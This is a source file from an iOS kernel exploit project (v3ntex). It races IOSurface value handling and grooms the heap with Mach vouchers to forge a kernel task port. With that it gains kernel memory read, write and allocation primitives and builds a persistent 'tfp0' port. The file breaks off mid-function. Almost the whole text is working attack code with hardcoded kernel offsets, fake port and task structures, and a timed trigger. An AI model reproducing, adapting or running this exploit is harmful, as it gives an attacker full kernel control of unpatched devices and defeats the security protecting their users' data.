//
//  exploit.m
//  v3ntex
//
//  Created by tihmstar on 23.01.19.
//  Copyright © 2019 tihmstar. All rights reserved.
//

#include "exploit.h"
#import <Foundation/Foundation.h>
#include <CoreFoundation/CoreFoundation.h>
#include <sched.h>
#include <sys/mman.h>
#include "offsets.h"
#import <Foundation/Foundation.h>
#include <dlfcn.h>
#include <mach/mach_host.h>
#include <mach/thread_act.h>
#include <mach/task.h>
#include <mach/mach_error.h>
#include <mach/mach_time.h>
#include <mach/mach_port.h>
#include <pthread/pthread.h>
#include <mach-o/loader.h>
#include <mach/host_priv.h>
#include <unistd.h>


const uint32_t IOSURFACE_CREATE_SURFACE =  0;
const uint32_t IOSURFACE_SET_VALUE      =  9;
const uint32_t IOSURFACE_GET_VALUE      = 10;
const uint32_t IOSURFACE_DELETE_VALUE   = 11;

const uint32_t IKOT_TASK                = 2;


#define OFFSET_IOUSERCLIENT_IPC     0x9c
#define IOSURFACE_CREATE_OUTSIZE    0xdd0

#define OFFSET_IPC_SPACE_IS_TABLE 0x20
#define OFFSET_IPC_SPACE_IS_TASK 0x28

#define OFFSET_SIZEOF_TASK 0x5a0
#define OFFSET_TASK_ITK_REGISTERED 0x2e8
#define OFFSET_TASK_BSD_INFO 0x358
#define OFFSET_TASK_VM_MAP 0x20
#define OFFSET_TASK_TASKS_PREV 0x30
#define OFFSET_TASK_ITK_SPACE 0x300
#define OFFSET_TASK_ITK_LOCK_DATA_LCK_MTX_TYPE 0xC8 + 0xB
#define OFFSET_TASK_ITK_SELF 0xd8

#define BSDINFO_PID_OFFSET  0x60

#define OFFSET_PROC_UCRED 0xf8

#define OFFSET_VTAB_GET_EXTERNAL_TRAP_FOR_INDEX 183

#define OFFSET_VM_MAP_HDR 0x10

#define OFFSET_REALHOST_SPECIAL 0x10

#define KERNEL_MAGIC             MH_MAGIC_64
#define KERNEL_SLIDE_STEP        0x100000
#define KERNEL_HEADER_OFFSET     0x4000
#define OFFSET_KERNELBASE 0xfffffff007004000

enum{
    kOSSerializeDictionary      = 0x01000000U,
    kOSSerializeArray           = 0x02000000U,
    kOSSerializeSet             = 0x03000000U,
    kOSSerializeNumber          = 0x04000000U,
    kOSSerializeSymbol          = 0x08000000U,
    kOSSerializeString          = 0x09000000U,
    kOSSerializeData            = 0x0a000000U,
    kOSSerializeBoolean         = 0x0b000000U,
    kOSSerializeObject          = 0x0c000000U,
    
    kOSSerializeTypeMask        = 0x7F000000U,
    kOSSerializeDataMask        = 0x00FFFFFFU,
    
    kOSSerializeEndCollection   = 0x80000000U,
    
    kOSSerializeMagic           = 0x000000d3U,
};

// IOKit cruft
typedef mach_port_t io_service_t;
typedef mach_port_t io_connect_t;
extern const mach_port_t kIOMasterPortDefault;
CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;
io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *client);
kern_return_t IOServiceClose(io_connect_t client);
kern_return_t IOConnectCallStructMethod(mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt);
kern_return_t IOConnectCallAsyncStructMethod(mach_port_t connection, uint32_t selector, mach_port_t wake_port, uint32_t *reference, uint32_t referenceCnt, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt);
kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);

kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit);
kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);
kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);
kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);
kern_return_t mach_vm_read(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt);


#define error(a ...) do { printf(a);printf("\n");} while(0)
#define assure(a) do{ if ((a) == 0){err=__LINE__; goto error;} }while(0)
#define reterror(a ... ) {error(a); err=__LINE__; goto error;}
#define doassure(cond,code) do {if (!(cond)){(code);assure(cond);}} while(0)
#define LOG(a...) (printf(a),printf("\n"))

#define RELEASE_PORT(port) \
do{ \
if(MACH_PORT_VALID((port))){ \
_kernelrpc_mach_port_destroy_trap(self, (port)); \
port = MACH_PORT_NULL; \
} \
} while(0)

typedef struct {
    uint32_t ip_bits;
    uint32_t ip_references;
    struct {
        kptr_t data;
        uint32_t type;
#ifdef __LP64__
        uint32_t pad;
#endif
    } ip_lock; // spinlock
    struct {
        struct {
            struct {
                uint32_t flags;
                uint32_t waitq_interlock;
                uint64_t waitq_set_id;
                uint64_t waitq_prepost_id;
                struct {
                    kptr_t next;
                    kptr_t prev;
                } waitq_queue;
            } waitq;
            kptr_t messages;
            uint32_t seqno;
            uint32_t receiver_name;
            uint16_t msgcount;
            uint16_t qlimit;
#ifdef __LP64__
            uint32_t pad;
#endif
        } port;
        kptr_t klist;
    } ip_messages;
    kptr_t ip_receiver;
    kptr_t ip_kobject;
    kptr_t ip_nsrequest;
    kptr_t ip_pdrequest;
    kptr_t ip_requests;//this one is refcount
    union {
        kptr_t *premsg;
    } kdata2;
    uint64_t ip_context;
    uint32_t ip_flags;
    uint32_t ip_mscount; //offset 0x28
    uint32_t ip_srights;
    uint32_t ip_sorights;
} kport_t;

typedef volatile union
{
    struct {
        struct {
            kptr_t data;
            uint32_t reserved : 24,
            type     :  8;
#ifdef __LP64__
            uint32_t pad;
#endif
        } lock; // mutex lock
        uint32_t ref_count;
        uint32_t active;
        uint32_t halting;
#ifdef __LP64__
        uint32_t pad;
#endif
        kptr_t map;
    } a;
    struct {
        char pad[OFFSET_TASK_ITK_SELF];
        kptr_t itk_self;
    } b;
    struct {
        char pad[OFFSET_TASK_ITK_LOCK_DATA_LCK_MTX_TYPE];
        uint8_t itk_lock_data_lck_mtx_type;
    } c;
} ktask_t;

typedef volatile union
{
    struct {
        // IOUserClient fields
        kptr_t vtab;
        uint32_t refs;
        uint32_t pad;
        // Gadget stuff
        kptr_t trap_ptr;
        // IOExternalTrap fields
        kptr_t obj;
        kptr_t func;
        uint32_t break_stuff; // idk wtf this field does, but it has to be zero or iokit_user_client_trap does some weird pointer mashing
        // OSSerializer::serialize
        kptr_t indirect[3];
    } a;
    struct {
        char pad[OFFSET_IOUSERCLIENT_IPC];
        int32_t __ipc;
    } b;
} kobj_t;

typedef volatile struct{
    kptr_t prev;
    kptr_t next;
    kptr_t start;
    kptr_t end;
} kmap_hdr_t;

typedef struct{
    uint32_t    iv_hash;        /* checksum hash */
    uint32_t    iv_sum;         /* checksum of values */
    uint32_t    iv_refs;        /* reference count */
    uint32_t    iv_table_size;  /* size of the voucher table */
    uint32_t    iv_inline_table[MACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN];
    kptr_t    iv_table;       /* table of voucher attr entries */
    kptr_t      iv_port;        /* port representing the voucher */
    struct queue_entry {
        kptr_t next;
        kptr_t prev;
    }  iv_hash_link;
} __attribute__ ((packed)) voucher_t;

static uint32_t transpose(uint32_t val){
    uint32_t ret = 0;
    for(size_t i = 0; val > 0; i += 8){
        ret += (val % 255) << i;
        val /= 255;
    }
    return ret + 0x01010101;
}

#define NUM_BEFORE 0x1000
#define NUM_AFTER 0x100
#define NUM_AFTER2 0x2000
mach_port_t after[NUM_AFTER] = { MACH_PORT_NULL };
mach_port_t after2[NUM_AFTER2] = { MACH_PORT_NULL };
mach_port_t before[NUM_BEFORE] = { MACH_PORT_NULL };

static int gfakeport_idx = -1;
static mach_port_t real_port_to_fake_voucher = MACH_PORT_NULL;
static task_t self = MACH_PORT_NULL;
static mach_vm_size_t pagesize = 0x1000;


static int *pipefds = NULL;
static size_t pipecnt = 0;
static void *pipebuf = NULL;

kern_return_t my_mach_port_set_context(task_t task, mach_port_name_t name, mach_vm_address_t context){
#pragma pack(4)
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        mach_port_name_t name;
        mach_vm_address_t context;
    } Request;
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        kern_return_t RetCode;
        mach_msg_trailer_t trailer;
    } Reply;
#pragma pack()
    
    union {
        Request In;
        Reply Out;
    } Mess;
    
    Request *InP = &Mess.In;
    Reply *OutP = &Mess.Out;
    
    InP->NDR = NDR_record;
    InP->name = name;
    InP->context = context;
    InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    InP->Head.msgh_remote_port = task;
    InP->Head.msgh_local_port = mig_get_reply_port();
    InP->Head.msgh_id = 3229;
    InP->Head.msgh_reserved = 0;
    
    kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    
    if(ret == KERN_SUCCESS)
        ret = OutP->RetCode;
    
    return ret;
}

void spinner_empty(mach_port_t *arg){
    while (!*arg); //spin
}

void spinner_nonempty(uint64_t *arg){
    while (*arg); //spin
}

// Raw MIG function for a merged IOSurface deleteValue + setValue call, attempting to increase performance.
// Prepare everything - sched_yield() - fire.
static kern_return_t reallocate_buf(io_connect_t client, uint32_t surfaceId, uint32_t propertyId, void *buf, mach_vm_size_t len){
#pragma pack(4)
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        uint32_t selector;
        mach_msg_type_number_t scalar_inputCnt;
        mach_msg_type_number_t inband_inputCnt;
        uint32_t inband_input[4];
        mach_vm_address_t ool_input;
        mach_vm_size_t ool_input_size;
        mach_msg_type_number_t inband_outputCnt;
        mach_msg_type_number_t scalar_outputCnt;
        mach_vm_address_t ool_output;
        mach_vm_size_t ool_output_size;
    } DeleteRequest;
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        uint32_t selector;
        mach_msg_type_number_t scalar_inputCnt;
        mach_msg_type_number_t inband_inputCnt;
        mach_vm_address_t ool_input;
        mach_vm_size_t ool_input_size;
        mach_msg_type_number_t inband_outputCnt;
        mach_msg_type_number_t scalar_outputCnt;
        mach_vm_address_t ool_output;
        mach_vm_size_t ool_output_size;
    } SetRequest;
    typedef struct {
        mach_msg_header_t Head;
        NDR_record_t NDR;
        kern_return_t RetCode;
        mach_msg_type_number_t inband_outputCnt;
        char inband_output[4096];
        mach_msg_type_number_t scalar_outputCnt;
        uint64_t scalar_output[16];
        mach_vm_size_t ool_output_size;
        mach_msg_trailer_t trailer;
    } Reply;
#pragma pack()
    
    // Delete
    union {
        DeleteRequest In;
        Reply Out;
    } DMess;
    
    DeleteRequest *DInP = &DMess.In;
    Reply *DOutP = &DMess.Out;
    
    DInP->NDR = NDR_record;
    DInP->selector = IOSURFACE_DELETE_VALUE;
    DInP->scalar_inputCnt = 0;
    
    DInP->inband_input[0] = surfaceId;
    DInP->inband_input[2] = transpose(propertyId);
    DInP->inband_input[3] = 0x0; // Null terminator
    DInP->inband_inputCnt = sizeof(DInP->inband_input);
    
    DInP->ool_input = 0;
    DInP->ool_input_size = 0;
    
    DInP->inband_outputCnt = sizeof(uint32_t);
    DInP->scalar_outputCnt = 0;
    DInP->ool_output = 0;
    DInP->ool_output_size = 0;
    
    DInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    DInP->Head.msgh_remote_port = client;
    DInP->Head.msgh_local_port = mig_get_reply_port();
    DInP->Head.msgh_id = 2865;
    DInP->Head.msgh_reserved = 0;
    
    // Set
    union {
        SetRequest In;
        Reply Out;
    } SMess;
    
    SetRequest *SInP = &SMess.In;
    Reply *SOutP = &SMess.Out;
    
    SInP->NDR = NDR_record;
    SInP->selector = IOSURFACE_SET_VALUE;
    SInP->scalar_inputCnt = 0;
    
    SInP->inband_inputCnt = 0;
    
    SInP->ool_input = (mach_vm_address_t)buf;
    SInP->ool_input_size = len;
    
    SInP->inband_outputCnt = sizeof(uint32_t);
    SInP->scalar_outputCnt = 0;
    SInP->ool_output = 0;
    SInP->ool_output_size = 0;
    
    SInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    SInP->Head.msgh_remote_port = client;
    SInP->Head.msgh_local_port = mig_get_reply_port();
    SInP->Head.msgh_id = 2865;
    SInP->Head.msgh_reserved = 0;
    
    kern_return_t ret = 0;
    kern_return_t retf = 0;
    
    // Deep breath
    usleep(420);
    sched_yield();
    
    // Fire
    ret = mach_msg(&DInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(DeleteRequest), (mach_msg_size_t)sizeof(Reply), DInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    retf = mach_msg(&SInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(SetRequest), (mach_msg_size_t)sizeof(Reply), SInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    
    if(ret == KERN_SUCCESS)
        ret = DOutP->RetCode;
    
    if(ret != KERN_SUCCESS)
        return ret;
    
    if(retf == KERN_SUCCESS)
        retf = SOutP->RetCode;
    
    return ret ? ret : retf;
}

mach_port_t tfp0 = MACH_PORT_NULL;

uint32_t kread32(kptr_t loc){
    if (MACH_PORT_VALID(tfp0)) {
        kern_return_t err;
        uint32_t val = 0;
        mach_vm_size_t outsize = 0;
        err = mach_vm_read_overwrite(tfp0,
                                     (mach_vm_address_t)loc,
                                     (mach_vm_size_t)sizeof(uint32_t),
                                     (mach_vm_address_t)&val,
                                     &outsize);
        if (err != KERN_SUCCESS){
            printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), loc, err, tfp0);
            return 0;
        }
        
        if (outsize != sizeof(uint32_t)){
            printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize);
            return 0;
        }
        return val;
    }
    
    int err = 0;
    uint32_t pid = 0;
    kern_return_t ret = 0;
    uint64_t readptr = loc-BSDINFO_PID_OFFSET;
    
    int rfd = pipefds[2 * gfakeport_idx];
    ssize_t didread = read(rfd, pipebuf, pagesize);
    assure(didread == pagesize);
    int wfd = pipefds[2 * gfakeport_idx + 1];
    
    {
        uintptr_t ptr = (uintptr_t)pipebuf;
        ptr += 0x700;
        *(uint64_t*)(ptr+OFFSET_TASK_BSD_INFO) = readptr; //read from
    }
    ssize_t written = write(wfd, pipebuf, pagesize);
    assure(written == pagesize);
    usleep(300);
    
    ret = pid_for_task(real_port_to_fake_voucher, (int*)&pid);
    
error:
    if (err) {
        printf("kread32 failed!\n");
        printf("error=%d ret=0x%08x s=%s\n",err,ret,mach_error_string(ret));
    }
    return pid;
}

uint64_t kread64(kptr_t loc){
    uint64_t rt = 0;
    rt = kread32(loc);
    rt |= ((uint64_t)kread32(loc+4)) <<32;
    return rt;
}

void kwrite32(uint64_t kaddr, uint32_t val) {
    if (tfp0 == MACH_PORT_NULL) {
        printf("attempt to write to kernel memory before any kernel memory write primitives available\n");
        return;
    }
    
    kern_return_t err;
    err = mach_vm_write(tfp0,
                        (mach_vm_address_t)kaddr,
                        (vm_offset_t)&val,
                        (mach_msg_type_number_t)sizeof(uint32_t));
    
    if (err != KERN_SUCCESS) {
        printf("tfp0 write failed: %s %x\n", mach_error_string(err), err);
        return;
    }
}

void kwrite64(uint64_t kaddr, uint64_t val) {
    if (tfp0 == MACH_PORT_NULL) {
        printf("attempt to write to kernel memory before any kernel memory write primitives available\n");
        return;
    }
    
    kern_return_t err;
    err = mach_vm_write(tfp0,
                        (mach_vm_address_t)kaddr,
                        (vm_offset_t)&val,
                        (mach_msg_type_number_t)sizeof(uint64_t));
    
    if (err != KERN_SUCCESS) {
        printf("tfp0 write failed: %s %x\n", mach_error_string(err), err);
        return;
    }
}

void kwrite(uint64_t kaddr, void *buf, uint64_t size) {
    if (tfp0 == MACH_PORT_NULL) {
        printf("attempt to write to kernel memory before any kernel memory write primitives available\n");
        return;
    }
    
    kern_return_t err;
    err = mach_vm_write(tfp0,
                        (mach_vm_address_t)kaddr,
                        (vm_offset_t)buf,
                        (mach_msg_type_number_t)size);
    
    if (err != KERN_SUCCESS) {
        printf("tfp0 write failed: %s %x\n", mach_error_string(err), err);
        return;
    }
}


uint64_t kalloc(uint64_t size) {
    if (tfp0 == MACH_PORT_NULL) {
        printf("attempt to allocate kernel memory before any kernel memory write primitives available\n");
        return 0;
    }
    
    kern_return_t err;
    mach_vm_address_t addr = 0;
    mach_vm_size_t ksize = round_page_kernel(size);
    err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);
    if (err != KERN_SUCCESS) {
        printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
        return 0;
    }
    return addr;
}

void kfree(uint64_t kaddr, uint64_t size) {
    if (tfp0 == MACH_PORT_NULL) {
        printf("attempt to deallocate kernel memory before any kernel memory write primitives available\n");
        return;
    }
    
    kern_return_t err;
    mach_vm_size_t ksize = round_page_kernel(size);
    err = mach_vm_deallocate(tfp0, kaddr, ksize);
    if (err != KERN_SUCCESS) {
        printf("unable to deallocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
        return;
    }
}

uint64_t task_addr = 0;
uint64_t find_port(mach_port_t port) {
    if (!task_addr) {
        printf("task_self is not set!\n");
        return 0;
    }
    
    uint64_t itk_space = kread64(task_addr + OFFSET_TASK_ITK_SPACE);
    uint64_t is_table = kread64(itk_space + OFFSET_IPC_SPACE_IS_TABLE);
    
    uint32_t port_index = port >> 8;
    const int sizeof_ipc_entry_t = 0x18;
    
    uint64_t port_addr = kread64(is_table + (port_index * sizeof_ipc_entry_t));
    
    return port_addr;
}

mach_port_t build_safe_fake_tfp0(uint64_t vm_map, uint64_t space) {
    kern_return_t err;
    
    mach_port_t new_tfp0 = MACH_PORT_NULL;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &new_tfp0);
    if (err != KERN_SUCCESS) {
        printf("unable to allocate port\n");
    }
    
    uint64_t fake_kernel_task_kaddr = kalloc(0x1000);
    printf("fake_kernel_task_kaddr: %llx\n", fake_kernel_task_kaddr);
    
    ktask_t fake_kernel_task = {};
    fake_kernel_task.a.lock.data = 0x0;
    fake_kernel_task.a.lock.type = 0x22;
    fake_kernel_task.a.ref_count = 0xd00d;
    fake_kernel_task.a.active = 1;
    fake_kernel_task.a.map = vm_map;
    fake_kernel_task.c.itk_lock_data_lck_mtx_type = 0x22;
    fake_kernel_task.b.itk_self = 1;
    
    kwrite(fake_kernel_task_kaddr, (void *)&fake_kernel_task, sizeof(fake_kernel_task));
    
    uint32_t fake_task_refs = kread32(fake_kernel_task_kaddr + offsetof(ktask_t, a.ref_count));
    printf("read fake_task_refs: %x\n", fake_task_refs);
    if (fake_task_refs != 0xd00d) {
        printf("read back value didn't match...\n");
    }
    
    uint64_t port_kaddr = find_port(new_tfp0);
    
    kwrite32(port_kaddr + offsetof(kport_t, ip_bits), 0x80000002);
    kwrite32(port_kaddr + offsetof(kport_t, ip_references), 0xf00d);
    kwrite32(port_kaddr + offsetof(kport_t, ip_srights), 0xf00d);
    kwrite64(port_kaddr + offsetof(kport_t, ip_receiver), space);
    kwrite64(port_kaddr + offsetof(kport_t, ip_kobject), fake_kernel_task_kaddr);
    
    uint64_t task_port_addr = find_port(mach_task_self());
    uint64_t task_addr = kread64(task_port_addr + offsetof(kport_t, ip_kobject));
    uint64_t itk_space = kread64(task_addr + OFFSET_TASK_ITK_SPACE);
    uint64_t is_table = kread64(itk_space + OFFSET_IPC_SPACE_IS_TABLE);
    
    uint32_t port_index = new_tfp0 >> 8;
    const int sizeof_ipc_entry_t = 0x18;
    uint32_t bits = kread32(is_table + (port_index * sizeof_ipc_entry_t) + 8);
    
#define IE_BITS_SEND (1<<16)
#define IE_BITS_RECEIVE (1<<17)
    
    bits &= (~IE_BITS_RECEIVE);
    bits |= IE_BITS_SEND;
    
    kwrite32(is_table + (port_index * sizeof_ipc_entry_t) + 8, bits);
    
    printf("about to test new tfp0\n");
    
    vm_offset_t data_out = 0;
    mach_msg_type_number_t out_size = 0;
    err = mach_vm_read(new_tfp0, vm_map, 0x40, &data_out, &out_size);
    if (err != KERN_SUCCESS) {
        printf("mach_vm_read failed: %x %s\n", err, mach_error_string(err));
        return MACH_PORT_NULL;
    }
    
    printf("kernel read via second tfp0 port worked?\n");
    printf("0x%016llx\n", *(uint64_t*)data_out);
    printf("0x%016llx\n", *(uint64_t*)(data_out+8));
    printf("0x%016llx\n", *(uint64_t*)(data_out+0x10));
    printf("0x%016llx\n", *(uint64_t*)(data_out+0x18));
    
    return new_tfp0;
}


typedef union{
    char _padding[IOSURFACE_CREATE_OUTSIZE]; // XXX 0x6c8 for iOS 11
    struct{
        mach_vm_address_t addr1;
        mach_vm_address_t addr2;
        mach_vm_address_t __pad;
        uint32_t id;
    } data;
} surface_t;

static void set_nonblock(int fd) {
    int flags = fcntl(fd, F_GETFL);
    flags |= O_NONBLOCK;
    fcntl(fd, F_SETFL, flags);
}

int v3_increase_file_limit() {
    int err = 0;
    struct rlimit rl = {};
    int error = getrlimit(RLIMIT_NOFILE, &rl);
    assure(!error);
    rl.rlim_cur = 10240;
    rl.rlim_max = rl.rlim_cur;
    error = setrlimit(RLIMIT_NOFILE, &rl);
    doassure(!error,{
        LOG("could not increase file limit: %d", error);
    });
    
    error = getrlimit(RLIMIT_NOFILE, &rl);
    assure(!error);
    doassure(rl.rlim_cur == 10240,{
        LOG("file limit is %llu", rl.rlim_cur);
    });
error:
    return err;
}

mach_port_t v3ntex() {
    int err = 0;
    kern_return_t ret = 0;
    kptr_t kbase = 0;
    mach_port_t new_tfp0 = MACH_PORT_NULL;
    
    self = mach_task_self();
    
    vm_size_t DATA_PAGE_SIZE = 0;
    _host_page_size(mach_host_self(), &DATA_PAGE_SIZE);
    uint32_t dict[DATA_PAGE_SIZE / sizeof(uint32_t) + 7];
    memset(dict, 0, DATA_PAGE_SIZE / sizeof(uint32_t) + 7);
    
    uint32_t response[4 + (DATA_PAGE_SIZE / sizeof(uint32_t))];
    memset(response, 0, 4 + (DATA_PAGE_SIZE / sizeof(uint32_t)));
    
    assure(!v3_increase_file_limit());
    assure(!(ret = mach_vm_allocate(mach_task_self(), (mach_vm_address_t*)&pipebuf, pagesize, VM_FLAGS_ANYWHERE)));
    
    pipecnt = 0x500;
    assure((pipefds = calloc(1,MAX(pipecnt * 2 * sizeof(int),pagesize))));
    memset(pipefds, 0, pipecnt * 2 * sizeof(int));
    for (size_t i = 0; i<pipecnt; i++) {
        pipefds[i*2] = -1;
        pipefds[i*2+1] = -1;
        
        int error = pipe(&pipefds[i*2]);
        if (error != 0 || pipefds[i*2] < 0 || pipefds[i*2+1] < 0) {
            close(pipefds[i*2]);
            close(pipefds[i*2+1]);
            pipecnt = i;
            break;
        }
        set_nonblock(pipefds[i*2+1]);
    }
    LOG("real pipecnt=0x%lx",pipecnt);
    
    mach_port_t stuffport = MACH_PORT_NULL;
    
    mach_voucher_attr_recipe_data_t atm_data = {
        .key = MACH_VOUCHER_ATTR_KEY_ATM,
        .command = 510
    };
    
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
    LOG("service: %x", service);
    assure(MACH_PORT_VALID(service));
    
    io_connect_t client = MACH_PORT_NULL;
    ret = IOServiceOpen(service, self, 0, &client);
    LOG("client: %x, %s", client, mach_error_string(ret));
    assure(!ret);
    
    assure(MACH_PORT_VALID(client));
    uint32_t dict_create[] = {
        kOSSerializeMagic,
        kOSSerializeEndCollection | kOSSerializeDictionary | 1,
        kOSSerializeSymbol | 19,
        0x75534f49, 0x63616672, 0x6c6c4165, 0x6953636f, 0x657a, // "IOSurfaceAllocSize"
        kOSSerializeEndCollection | kOSSerializeNumber | 32,
        0x1000,
        0x0,
    };
    
    surface_t surface;
    
    size_t size = sizeof(surface);
    ret = IOConnectCallStructMethod(client, IOSURFACE_CREATE_SURFACE, dict_create, sizeof(dict_create), &surface, &size);
    LOG("newSurface: %s", mach_error_string(ret));
    assure(!ret);
    
    ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &stuffport);
    LOG("stuffport: %x, %s", stuffport, mach_error_string(ret));
    assure(!ret && MACH_PORT_VALID(stuffport));
    
    ret = _kernelrpc_mach_port_insert_right_trap(self, stuffport, stuffport, MACH_MSG_TYPE_MAKE_SEND);
    LOG("mach_port_insert_right: %s", mach_error_string(ret));
    assure(!ret);
    
    mach_port_t realport = MACH_PORT_NULL;
    ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &realport);
    
    doassure(!ret,{
        LOG("mach_port_allocate: %s", mach_error_string(ret));
    });
    doassure(MACH_PORT_VALID(realport),{
        LOG("realport: %x", realport);
    });
#define NUM_GC 0x1000
    mach_port_t gc[NUM_GC] = { MACH_PORT_NULL };
    for(size_t i = 0; i < NUM_GC; ++i){
        ret = host_create_mach_voucher(mach_host_self(),(mach_voucher_attr_raw_recipe_array_t)&atm_data,sizeof(atm_data),&gc[i]);
        doassure(!ret,{
            LOG("mach_port_allocate: %s", mach_error_string(ret));
        });
    }
    
    for(size_t i = 0; i < NUM_BEFORE; ++i){
        ret = host_create_mach_voucher(mach_host_self(),(mach_voucher_attr_raw_recipe_array_t)&atm_data,sizeof(atm_data),&before[i]);
        doassure(!ret,{
            LOG("mach_port_allocate: %s", mach_error_string(ret));
        });
    }
    
    mach_port_t p1 = MACH_PORT_NULL;
    assure(!(ret = host_create_mach_voucher(mach_host_self(),(mach_voucher_attr_raw_recipe_array_t)&atm_data,sizeof(atm_data),&p1)));
    
    
    for(size_t i = 0; i < NUM_AFTER; ++i){
        ret = host_create_mach_voucher(mach_host_self(),(mach_voucher_attr_raw_recipe_array_t)&atm_data,sizeof(atm_data),&after[i]);
        doassure(!ret,{
            LOG("mach_port_allocate: %s", mach_error_string(ret));
        });
    }
    
#pragma pack(4)
    typedef struct {
        mach_msg_base_t base;
        mach_msg_ool_ports_descriptor_t desc[2];
    } StuffMsg;
#pragma pack()
    StuffMsg msg;
    msg.base.header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    msg.base.header.msgh_remote_port = stuffport;
    msg.base.header.msgh_local_port = MACH_PORT_NULL;
    msg.base.header.msgh_id = 1234;
    msg.base.header.msgh_reserved = 0;
    msg.base.body.msgh_descriptor_count = 2;
    msg.desc[0].address = before;
    msg.desc[0].count = NUM_BEFORE;
    msg.desc[0].disposition = MACH_MSG_TYPE_COPY_SEND;
    msg.desc[0].deallocate = FALSE;
    msg.desc[0].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg.desc[1].address = after;
    msg.desc[1].count = NUM_AFTER;
    msg.desc[1].disposition = MACH_MSG_TYPE_COPY_SEND;
    msg.desc[1].deallocate = FALSE;
    msg.desc[1].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    ret = mach_msg(&msg.base.header, MACH_SEND_MSG, (mach_msg_size_t)sizeof(msg), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    LOG("mach_msg: %s", mach_error_string(ret));
    assure(!ret);
    
    for(size_t i = NUM_AFTER; i > 0; --i){
        if(MACH_PORT_VALID(after[i - 1])){
            ret = _kernelrpc_mach_port_destroy_trap(self, after[i - 1]);
            after[i - 1] = MACH_PORT_NULL;
        }
    }
    for(size_t i = NUM_BEFORE; i > 0; --i){
        if(MACH_PORT_VALID(before[i - 1])){
            ret =_kernelrpc_mach_port_destroy_trap(self, before[i - 1]);
            before[i - 1] = MACH_PORT_NULL;
        }
    }
    
    dict[0] = surface.data.id;
    dict[1] = 0;
    dict[2] = kOSSerializeMagic;
    dict[3] = kOSSerializeEndCollection | kOSSerializeArray | 2;
    dict[4] = kOSSerializeString | (uint32_t)(DATA_PAGE_SIZE - 1);
    dict[DATA_PAGE_SIZE / sizeof(uint32_t) + 5] = kOSSerializeEndCollection | kOSSerializeString | 4;
    
    voucher_t newVoucher = {
        .iv_hash = 0,
        .iv_sum = 0x11,
        .iv_refs = 99,
        .iv_inline_table[0] = 0x4000,
        .iv_inline_table[1] = 0x4000,
        .iv_inline_table[2] = 0x4000,
        .iv_inline_table[3] = 0x4000,
        .iv_inline_table[4] = 0x4000,
        .iv_inline_table[5] = 0x4000,
        .iv_inline_table[6] = 0x4000,
        .iv_inline_table[7] = 0x4000,
        .iv_table = 0,
        .iv_port  = 0,
    };
    
    int vouchers_in_osstring = 0;
    for(uintptr_t ptr = (uintptr_t)&dict[5], end = (uintptr_t)&dict[5] + DATA_PAGE_SIZE; ptr + sizeof(voucher_t) <= end; ptr += sizeof(voucher_t)){
